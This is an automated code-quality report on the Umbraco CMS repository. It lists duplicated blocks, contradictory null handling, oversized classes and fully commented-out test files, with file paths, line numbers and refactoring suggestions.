Duplicated block (8 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/DataTypeRepository.cs:394— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/DataTypeRepository.cs:394-402 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/DataTypeRepository.cs:449-456 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (8 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/DynamicRootRepository.cs:78— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/DynamicRootRepository.cs:78-85 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/DynamicRootRepository.cs:149-156 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/DynamicRootRepository.cs:78` it begins part-way through the construct above it, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (8 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/EntityContainerRepository.cs:264— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/EntityContainerRepository.cs:264-271 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/EntityContainerRepository.cs:347-354 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited.
Duplicated block (8 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/EntityRepository.cs:542— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/EntityRepository.cs:542-549 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/EntityRepository.cs:557-564 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/EntityRepository.cs:542` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (8 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/LongRunningOperationRepository.cs:44— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/LongRunningOperationRepository.cs:44-51 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/LongRunningOperationRepository.cs:56-63 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/LongRunningOperationRepository.cs:44` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (8 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/NotificationsRepository.cs:98— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/NotificationsRepository.cs:98-105 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/NotificationsRepository.cs:151-158 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/NotificationsRepository.cs:98` it begins part-way through the construct above it, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (8 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishStatusRepository.cs:38— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishStatusRepository.cs:38-45 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishStatusRepository.cs:135-142 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishStatusRepository.cs:38` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (8 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishStatusRepository.cs:76— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishStatusRepository.cs:76-83 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishStatusRepository.cs:125-132 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Each matched range is the entire body of the declaration above it, so the region is already a complete unit: move that whole declaration to the shared location and have each site call it, rather than lifting the lines out of their bodies. Any `return` inside it is the body's own exit and keeps its meaning in the moved unit.
Duplicated block (8 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/RedirectUrlRepository.cs:208— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/RedirectUrlRepository.cs:208-215 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/RedirectUrlRepository.cs:229-236 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/RedirectUrlRepository.cs:208` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (8 lines × 2) src/Umbraco.Cms.Persistence.SqlServer/Services/SqlServerSyntaxProvider.cs:329— src/Umbraco.Cms.Persistence.SqlServer/Services/SqlServerSyntaxProvider.cs:329-336 | src/Umbraco.Infrastructure/Persistence/SqlSyntax/SqlSyntaxProviderBase.cs:591-598 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Persistence.SqlServer/Services/SqlServerSyntaxProvider.cs:329` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (8 lines × 2) src/Umbraco.Cms.Persistence.EFCore.SqlServer/SqlServerMigrationProvider.cs:38— src/Umbraco.Cms.Persistence.EFCore.SqlServer/SqlServerMigrationProvider.cs:38-45 | src/Umbraco.Cms.Persistence.EFCore.Sqlite/SqliteMigrationProvider.cs:45-52 — the copies span different directories, so extracting a shared function means choosing where it lives: put it somewhere both call sites can already reach — a location they all depend on today, or a new shared one if there is none — and call it from each site; until then, every change has to be made twice.
Duplicated block (8 lines × 2) src/Umbraco.Cms.Api.Management/Mapping/Permissions/DocumentPermissionMapper.cs:68— src/Umbraco.Cms.Api.Management/Mapping/Permissions/DocumentPermissionMapper.cs:68-75 | src/Umbraco.Cms.Api.Management/Mapping/Permissions/ElementPermissionMapper.cs:74-81 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Cms.Api.Management/Mapping/Permissions/DocumentPermissionMapper.cs:68` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (8 lines × 2) src/Umbraco.PublishedCache.HybridCache/DocumentCache.cs:84— src/Umbraco.PublishedCache.HybridCache/DocumentCache.cs:84-91 | src/Umbraco.PublishedCache.HybridCache/MediaCache.cs:79-86 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Each matched range is the entire body of the declaration above it, so the region is already a complete unit: move that whole declaration to the shared location and have each site call it, rather than lifting the lines out of their bodies. Any `return` inside it is the body's own exit and keeps its meaning in the moved unit.
X5 · Nullable reference types· Symbol treated as nullable, then dereferenced unguarded · ×16
Symbol treated as nullable, then dereferenced unguarded src/Umbraco.Core/IO/ShadowFileSystem.cs:123— This method contradicts itself about `sf`: line 160 writes `sf?.CanonicalPath`, which says `sf` can be null, but line 123 then dereferences it directly as `sf.IsExist` with no null test between them and no guard around it. If the `?.` is right, that dereference throws NullReferenceException on the input it was written for; if `sf` truly cannot be null here, the `?.` is misleading. Settle it one way — test `sf` once before the first use and handle the null case, or drop the `?.` — rather than leaving the two readings side by side.
Symbol treated as nullable, then dereferenced unguarded src/Umbraco.Core/IO/ShadowFileSystem.cs:212— This method contradicts itself about `sf`: line 257 writes `sf?.CanonicalPath`, which says `sf` can be null, but line 212 then dereferences it directly as `sf.IsDir` with no null test between them and no guard around it. If the `?.` is right, that dereference throws NullReferenceException on the input it was written for; if `sf` truly cannot be null here, the `?.` is misleading. Settle it one way — test `sf` once before the first use and handle the null case, or drop the `?.` — rather than leaving the two readings side by side.
Symbol treated as nullable, then dereferenced unguarded src/Umbraco.Core/IO/ShadowFileSystem.cs:220— This method contradicts itself about `tf`: line 258 writes `tf?.CanonicalPath`, which says `tf` can be null, but line 220 then dereferences it directly as `tf.IsExist` with no null test between them and no guard around it. If the `?.` is right, that dereference throws NullReferenceException on the input it was written for; if `tf` truly cannot be null here, the `?.` is misleading. Settle it one way — test `tf` once before the first use and handle the null case, or drop the `?.` — rather than leaving the two readings side by side.
Symbol treated as nullable, then dereferenced unguarded src/Umbraco.Core/IO/ShadowFileSystem.cs:344— This method contradicts itself about `sf`: line 381 writes `sf?.CanonicalPath`, which says `sf` can be null, but line 344 then dereferences it directly as `sf.IsExist` with no null test between them and no guard around it. If the `?.` is right, that dereference throws NullReferenceException on the input it was written for; if `sf` truly cannot be null here, the `?.` is misleading. Settle it one way — test `sf` once before the first use and handle the null case, or drop the `?.` — rather than leaving the two readings side by side.
Symbol treated as nullable, then dereferenced unguarded src/Umbraco.Core/Models/ContentRepositoryExtensions.cs:98— This method contradicts itself about `editedInfos`: line 103 writes `editedInfos?.Name`, which says `editedInfos` can be null, but line 98 then dereferences it directly as `editedInfos.IsDirty` with no null test between them and no guard around it. If the `?.` is right, that dereference throws NullReferenceException on the input it was written for; if `editedInfos` truly cannot be null here, the `?.` is misleading. Settle it one way — test `editedInfos` once before the first use and handle the null case, or drop the `?.` — rather than leaving the two readings side by side.
Symbol treated as nullable, then dereferenced unguarded src/Umbraco.Core/Models/Property.cs:498— This method contradicts itself about `value`: line 480 writes `value?.ToString`, which says `value` can be null, but line 498 then dereferences it directly as `value.TryConvertTo` with no null test between them and no guard around it. If the `?.` is right, that dereference throws NullReferenceException on the input it was written for; if `value` truly cannot be null here, the `?.` is misleading. Settle it one way — test `value` once before the first use and handle the null case, or drop the `?.` — rather than leaving the two readings side by side.
Symbol treated as nullable, then dereferenced unguarded src/Umbraco.Core/PropertyEditors/ContentPickerPropertyEditor.cs:126— This method contradicts itself about `stringValue`: line 124 assigns it with `as string`, which hands back null rather than throwing when the value is not a `string`, but line 126 then dereferences it directly as `stringValue.IsNullOrWhiteSpace` with no null test between them and no guard around it. If the `as` is right, that dereference throws NullReferenceException on the input it was written for — and the NullReferenceException names neither the cast nor the type that failed. Settle it one way — test `stringValue` once before the first use and handle the null case, or cast with `(string)` so the failure is reported where it happens — rather than leaving the two readings side by side.
Symbol treated as nullable, then dereferenced unguarded src/Umbraco.Core/PropertyEditors/ValueConverters/ElementPickerValueConverter.cs:65— This method contradicts itself about `value`: line 64 assigns it with `as string`, which hands back null rather than throwing when the value is not a `string`, but line 65 then dereferences it directly as `value.IsNullOrWhiteSpace` with no null test between them and no guard around it. If the `as` is right, that dereference throws NullReferenceException on the input it was written for — and the NullReferenceException names neither the cast nor the type that failed. Settle it one way — test `value` once before the first use and handle the null case, or cast with `(string)` so the failure is reported where it happens — rather than leaving the two readings side by side.
Symbol treated as nullable, then dereferenced unguarded src/Umbraco.Core/Services/ContentTypeServiceExtensions.cs:103— This method contradicts itself about `source`: line 106 writes `source?.Id`, which says `source` can be null, but line 103 then dereferences it directly as `source.GetPropertyAliasesReservedByDescendants` with no null test between them and no guard around it. If the `?.` is right, that dereference throws NullReferenceException on the input it was written for; if `source` truly cannot be null here, the `?.` is misleading. Settle it one way — test `source` once before the first use and handle the null case, or drop the `?.` — rather than leaving the two readings side by side.
Symbol treated as nullable, then dereferenced unguarded src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs:1184— This method contradicts itself about `infoElement`: line 1195 writes `infoElement?.`, which says `infoElement` can be null, but line 1184 then dereferences it directly as `infoElement.Element` with no null test between them and no guard around it. If the `?.` is right, that dereference throws NullReferenceException on the input it was written for; if `infoElement` truly cannot be null here, the `?.` is misleading. Settle it one way — test `infoElement` once before the first use and handle the null case, or drop the `?.` — rather than leaving the two readings side by side.
Symbol treated as nullable, then dereferenced unguarded src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs:1395— This method contradicts itself about `allowedTemplates`: line 1390 writes `allowedTemplates?.Any`, which says `allowedTemplates` can be null, but line 1395 then dereferences it directly as `allowedTemplates.Add` with no null test between them and no guard around it. If the `?.` is right, that dereference throws NullReferenceException on the input it was written for; if `allowedTemplates` truly cannot be null here, the `?.` is misleading. Settle it one way — test `allowedTemplates` once before the first use and handle the null case, or drop the `?.` — rather than leaving the two readings side by side.
Symbol treated as nullable, then dereferenced unguarded src/Umbraco.Infrastructure/Persistence/Repositories/Implement/IdKeyMapRepository.cs:57— This method contradicts itself about `database`: line 46 writes `database?.ExecuteScalar`, which says `database` can be null, but line 57 then dereferences it directly as `database.ExecuteScalar` with no null test between them and no guard around it. If the `?.` is right, that dereference throws NullReferenceException on the input it was written for; if `database` truly cannot be null here, the `?.` is misleading. Settle it one way — test `database` once before the first use and handle the null case, or drop the `?.` — rather than leaving the two readings side by side.
Symbol treated as nullable, then dereferenced unguarded src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishableContentRepositoryBase.cs:1396— This method contradicts itself about `templatedContent`: line 1389 assigns it with `as ITemplatedContent`, which hands back null rather than throwing when the value is not a `ITemplatedContent`, but line 1396 then dereferences it directly as `templatedContent.TemplateId` with no null test between them and no guard around it. If the `as` is right, that dereference throws NullReferenceException on the input it was written for — and the NullReferenceException names neither the cast nor the type that failed. Settle it one way — test `templatedContent` once before the first use and handle the null case, or cast with `(ITemplatedContent)` so the failure is reported where it happens — rather than leaving the two readings side by side.
Symbol treated as nullable, then dereferenced unguarded src/Umbraco.Infrastructure/Persistence/Repositories/Implement/TrackedReferencesRepository.cs:284— This method contradicts itself about `database`: line 355 writes `database?.Count`, which says `database` can be null, but line 284 then dereferences it directly as `database.SqlContext` with no null test between them and no guard around it. If the `?.` is right, that dereference throws NullReferenceException on the input it was written for; if `database` truly cannot be null here, the `?.` is misleading. Settle it one way — test `database` once before the first use and handle the null case, or drop the `?.` — rather than leaving the two readings side by side.
Symbol treated as nullable, then dereferenced unguarded src/Umbraco.Infrastructure/PropertyEditors/BlockEditorPropertyValueEditor.cs:125— This method contradicts itself about `blockEditorData`: line 118 writes `blockEditorData?.BlockValue`, which says `blockEditorData` can be null, but line 125 then dereferences it directly as `blockEditorData.BlockValue` with no null test between them and no guard around it. If the `?.` is right, that dereference throws NullReferenceException on the input it was written for; if `blockEditorData` truly cannot be null here, the `?.` is misleading. Settle it one way — test `blockEditorData` once before the first use and handle the null case, or drop the `?.` — rather than leaving the two readings side by side.
Symbol treated as nullable, then dereferenced unguarded src/Umbraco.Infrastructure/Routing/ContentFinderByConfigured404.cs:118— This method contradicts itself about `frequest`: line 188 writes `frequest?.`, which says `frequest` can be null, but line 118 then dereferences it directly as `frequest.Domain` with no null test between them and no guard around it. If the `?.` is right, that dereference throws NullReferenceException on the input it was written for; if `frequest` truly cannot be null here, the `?.` is misleading. Settle it one way — test `frequest` once before the first use and handle the null case, or drop the `?.` — rather than leaving the two readings side by side.
ClassTooLong: DatabaseDataCreator src/Umbraco.Infrastructure/Migrations/Install/DatabaseDataCreator.cs— ClassTooLong — 2243 significant lines (blank, comment-only and punctuation-only lines excluded), 25 methods. The bar is 400 significant lines; this is 1843 over it, 5.61× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
ClassTooLong: Utf8ToAsciiConverter src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs— ClassTooLong — 2153 significant lines (blank, comment-only and punctuation-only lines excluded), 5 methods. The bar is 400 significant lines; this is 1753 over it, 5.38× the bar. The type holds no instance state, so there is no shared data to group its members by. To reduce it, split it by area instead: give each cohesive family of members its own smaller type, so no one type has to be read whole to change one of them.
ClassTooLong: UmbContentTypeStructureManager src/Umbraco.Web.UI.Client/src/packages/content/content-type/structure/content-type-structure-manager.class.ts:51— ClassTooLong — 622 significant lines (blank, comment-only and punctuation-only lines excluded), 71 methods. The bar is 400 significant lines; this is 222 over it, 1.56× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
ClassTooLong: UmbContentDetailWorkspaceContextBase src/Umbraco.Web.UI.Client/src/packages/content/content/workspace/content-detail-workspace-base.ts:112— ClassTooLong — 577 significant lines (blank, comment-only and punctuation-only lines excluded), 50 methods. The bar is 400 significant lines; this is 177 over it, 1.44× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
ClassTooLong: UmbWorkspaceSplitViewVariantSelectorElement src/Umbraco.Web.UI.Client/src/packages/core/workspace/components/workspace-split-view/workspace-split-view-variant-selector.element.ts:20— ClassTooLong — 530 significant lines (blank, comment-only and punctuation-only lines excluded), 38 methods. The bar is 400 significant lines; this is 130 over it, 1.33× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
ClassTooLong: UmbContentTypeDesignEditorElement src/Umbraco.Web.UI.Client/src/packages/content/content-type/workspace/views/design/content-type-design-editor.element.ts:36— ClassTooLong — 522 significant lines (blank, comment-only and punctuation-only lines excluded), 22 methods. The bar is 400 significant lines; this is 122 over it, 1.31× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
ClassTooLong: UmbMediaPickerModalElement src/Umbraco.Web.UI.Client/src/packages/media/media/modals/media-picker/media-picker-modal.element.ts:56— ClassTooLong — 511 significant lines (blank, comment-only and punctuation-only lines excluded), 38 methods. The bar is 400 significant lines; this is 111 over it, 1.28× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
ClassTooLong: UmbBlockGridEntryElement src/Umbraco.Web.UI.Client/src/packages/block/block-grid/components/block-grid-entry/block-grid-entry.element.ts:25— ClassTooLong — 492 significant lines (blank, comment-only and punctuation-only lines excluded), 23 methods. The bar is 400 significant lines; this is 92 over it, 1.23× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
ClassTooLong: UmbInputMarkdownElement src/Umbraco.Web.UI.Client/src/packages/markdown-editor/components/input-markdown-editor/input-markdown.element.ts:38— ClassTooLong — 481 significant lines (blank, comment-only and punctuation-only lines excluded), 16 methods. The bar is 400 significant lines; this is 81 over it, 1.20× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
ClassTooLong: UmbBlockEntryContext src/Umbraco.Web.UI.Client/src/packages/block/block/context/block-entry.context.ts:41— ClassTooLong — 452 significant lines (blank, comment-only and punctuation-only lines excluded), 54 methods. The bar is 400 significant lines; this is 52 over it, 1.13× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
ClassTooLong: ExpressionVisitorBase src/Umbraco.Infrastructure/Persistence/Querying/ExpressionVisitorBase.cs— ClassTooLong — 445 significant lines (blank, comment-only and punctuation-only lines excluded), 23 methods. The bar is 400 significant lines; this is 45 over it, 1.11× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
ClassTooLong: CreatedPackageSchemaRepository src/Umbraco.Infrastructure/Persistence/Repositories/Implement/CreatedPackageSchemaRepository.cs— ClassTooLong — 433 significant lines (blank, comment-only and punctuation-only lines excluded), 26 methods. The bar is 400 significant lines; this is 33 over it, 1.08× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
ClassTooLong: UmbBlockGridEntriesContext src/Umbraco.Web.UI.Client/src/packages/block/block-grid/components/block-grid-entries/block-grid-entries.context.ts:47— ClassTooLong — 418 significant lines (blank, comment-only and punctuation-only lines excluded), 34 methods. The bar is 400 significant lines; this is 18 over it, 1.05× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
ClassTooLong: UmbAuthContext src/Umbraco.Web.UI.Client/src/packages/core/auth/auth.context.ts:39— ClassTooLong — 409 significant lines (blank, comment-only and punctuation-only lines excluded), 34 methods. The bar is 400 significant lines; this is 9 over it, 1.02× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
ClassTooLong: UmbSearchModalElement src/Umbraco.Web.UI.Client/src/packages/core/search/search-modal/search-modal.element.ts:31— ClassTooLong — 408 significant lines (blank, comment-only and punctuation-only lines excluded), 20 methods. The bar is 400 significant lines; this is 8 over it, 1.02× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
D17 · Explicit Debt· Whole file has no live code · ×14
Whole file has no live code — 1 debt marker inside it src/Umbraco.Infrastructure/Models/Blocks/BlockEditorDataConverter.cs:28— Every line in this file is a comment or blank — it declares no type, member, using or attribute, so nothing in it reaches the build. Its 1 debt marker (1 CommentedOutCode) all sit inside that dead text: one decision to leave the whole file switched off, not 1 independent debts. It records no note anywhere: the file is switched off with nothing in it saying why, so a reader cannot tell whether it is waiting on something or was simply abandoned — which is the harder of the two to bring back. Decide the FILE rather than its lines — restore it, or delete it and let version control hold the history. (Every occurrence still counts toward the score and metrics.)
Whole file has no live code — 2 debt markers inside it src/Umbraco.Web.UI/Composers/UmbracoAppAuthenticatorComposer.cs:1— Every line in this file is a comment or blank — it declares no type, member, using or attribute, so nothing in it reaches the build. Its 2 debt markers (2 CommentedOutCode) all sit inside that dead text: one decision to leave the whole file switched off, not 2 independent debts. It records no note anywhere: the file is switched off with nothing in it saying why, so a reader cannot tell whether it is waiting on something or was simply abandoned — which is the harder of the two to bring back. Decide the FILE rather than its lines — restore it, or delete it and let version control hold the history. (Every occurrence still counts toward the score and metrics.)
Whole file has no live code — 1 debt marker inside it tests/Umbraco.Tests.Common/Builders/PropertyDataBuilder.cs:7— Every line in this file is a comment or blank — it declares no type, member, using or attribute, so nothing in it reaches the build. Its 1 debt marker (1 FixmeComment) all sit inside that dead text: one decision to leave the whole file switched off, not 1 independent debts. The first note recorded in it is "// FIXME: Reintroduce if relevant" (line 7). Decide the FILE rather than its lines — restore it, or delete it and let version control hold the history. (Every occurrence still counts toward the score and metrics.)
Whole file has no live code — 2 debt markers inside it tests/Umbraco.Tests.Common/Published/PublishedContentXmlAdapter.cs:22— Every line in this file is a comment or blank — it declares no type, member, using or attribute, so nothing in it reaches the build. Its 2 debt markers (1 FixmeComment, 1 TodoComment) all sit inside that dead text: one decision to leave the whole file switched off, not 2 independent debts. The first note recorded in it is "// FIXME: Reintroduce if relevant" (line 22). Decide the FILE rather than its lines — restore it, or delete it and let version control hold the history. (Every occurrence still counts toward the score and metrics.)
Whole file has no live code — 1 debt marker inside it tests/Umbraco.Tests.Integration/Umbraco.Infrastructure/Services/NuCacheRebuildTests.cs:12— Every line in this file is a comment or blank — it declares no type, member, using or attribute, so nothing in it reaches the build. Its 1 debt marker (1 FixmeComment) all sit inside that dead text: one decision to leave the whole file switched off, not 1 independent debts. The first note recorded in it is "// FIXME: Reintroduce if needed" (line 12). Decide the FILE rather than its lines — restore it, or delete it and let version control hold the history. (Every occurrence still counts toward the score and metrics.)
Whole file has no live code — 3 debt markers inside it tests/Umbraco.Tests.UnitTests/TestHelpers/PublishedSnapshotServiceTestBase.cs:34— Every line in this file is a comment or blank — it declares no type, member, using or attribute, so nothing in it reaches the build. Its 3 debt markers (2 CommentedOutCode, 1 FixmeComment) all sit inside that dead text: one decision to leave the whole file switched off, not 3 independent debts. The first note recorded in it is "// FIXME: Reintroduce if relevant" (line 34). Decide the FILE rather than its lines — restore it, or delete it and let version control hold the history. (Every occurrence still counts toward the score and metrics.)
Whole file has no live code — 1 debt marker inside it tests/Umbraco.Tests.UnitTests/TestHelpers/TestNuCacheContentService.cs:10— Every line in this file is a comment or blank — it declares no type, member, using or attribute, so nothing in it reaches the build. Its 1 debt marker (1 FixmeComment) all sit inside that dead text: one decision to leave the whole file switched off, not 1 independent debts. The first note recorded in it is "// FIXME: Reintroduce if relevant" (line 10). Decide the FILE rather than its lines — restore it, or delete it and let version control hold the history. (Every occurrence still counts toward the score and metrics.)
Whole file has no live code — 2 debt markers inside it tests/Umbraco.Tests.UnitTests/Umbraco.Core/Routing/DomainsAndCulturesTests.cs:12— Every line in this file is a comment or blank — it declares no type, member, using or attribute, so nothing in it reaches the build. Its 2 debt markers (1 CommentedOutCode, 1 FixmeComment) all sit inside that dead text: one decision to leave the whole file switched off, not 2 independent debts. The first note recorded in it is "// FIXME: Reintroduce if relevant" (line 12). Decide the FILE rather than its lines — restore it, or delete it and let version control hold the history. (Every occurrence still counts toward the score and metrics.)
Whole file has no live code — 6 debt markers inside it tests/Umbraco.Tests.UnitTests/Umbraco.Core/Routing/GetContentUrlsTests.cs:17— Every line in this file is a comment or blank — it declares no type, member, using or attribute, so nothing in it reaches the build. Its 6 debt markers (5 TodoComment, 1 FixmeComment) all sit inside that dead text: one decision to leave the whole file switched off, not 6 independent debts. The first note recorded in it is "// FIXME: Reintroduce if relevant" (line 17). Decide the FILE rather than its lines — restore it, or delete it and let version control hold the history. (Every occurrence still counts toward the score and metrics.)
Whole file has no live code — 1 debt marker inside it tests/Umbraco.Tests.UnitTests/Umbraco.Core/Routing/UrlProviderWithHideTopLevelNodeFromPathTests.cs:11— Every line in this file is a comment or blank — it declares no type, member, using or attribute, so nothing in it reaches the build. Its 1 debt marker (1 FixmeComment) all sit inside that dead text: one decision to leave the whole file switched off, not 1 independent debts. The first note recorded in it is "// FIXME: Reintroduce if relevant" (line 11). Decide the FILE rather than its lines — restore it, or delete it and let version control hold the history. (Every occurrence still counts toward the score and metrics.)
Whole file has no live code — 1 debt marker inside it tests/Umbraco.Tests.UnitTests/Umbraco.Core/Routing/UrlRoutingTestBase.cs:11— Every line in this file is a comment or blank — it declares no type, member, using or attribute, so nothing in it reaches the build. Its 1 debt marker (1 FixmeComment) all sit inside that dead text: one decision to leave the whole file switched off, not 1 independent debts. The first note recorded in it is "// // FIXME: Reintroduce if relevant" (line 11). Decide the FILE rather than its lines — restore it, or delete it and let version control hold the history. (Every occurrence still counts toward the score and metrics.)
Whole file has no live code — 6 debt markers inside it tests/Umbraco.Tests.UnitTests/Umbraco.Core/Routing/UrlsProviderWithDomainsTests.cs:12— Every line in this file is a comment or blank — it declares no type, member, using or attribute, so nothing in it reaches the build. Its 6 debt markers (5 CommentedOutCode, 1 FixmeComment) all sit inside that dead text: one decision to leave the whole file switched off, not 6 independent debts. The first note recorded in it is "// FIXME: Reintroduce if relevant" (line 12). Decide the FILE rather than its lines — restore it, or delete it and let version control hold the history. (Every occurrence still counts toward the score and metrics.)
Whole file has no live code — 4 debt markers inside it tests/Umbraco.Tests.UnitTests/Umbraco.Core/Routing/UrlsWithNestedDomains.cs:20— Every line in this file is a comment or blank — it declares no type, member, using or attribute, so nothing in it reaches the build. Its 4 debt markers (3 CommentedOutCode, 1 FixmeComment) all sit inside that dead text: one decision to leave the whole file switched off, not 4 independent debts. The first note recorded in it is "// FIXME: Reintroduce if relevant" (line 20). Decide the FILE rather than its lines — restore it, or delete it and let version control hold the history. (Every occurrence still counts toward the score and metrics.)
Whole file has no live code — 46 debt markers inside it tests/Umbraco.Tests.UnitTests/Umbraco.PublishedCache.NuCache/SnapDictionaryTests.cs:13— Every line in this file is a comment or blank — it declares no type, member, using or attribute, so nothing in it reaches the build. Its 46 debt markers (39 CommentedOutCode, 6 TodoComment, 1 FixmeComment) all sit inside that dead text: one decision to leave the whole file switched off, not 46 independent debts. The first note recorded in it is "// FIXME: Reintroduce if relevant" (line 13). Decide the FILE rather than its lines — restore it, or delete it and let version control hold the history. (Every occurrence still counts toward the score and metrics.)
Duplicated block (11 lines × 2) src/Umbraco.Core/Services/EntityService.cs:516— src/Umbraco.Core/Services/EntityService.cs:516-526 | src/Umbraco.Core/Services/EntityService.cs:933-943 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/EntityService.cs:516` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
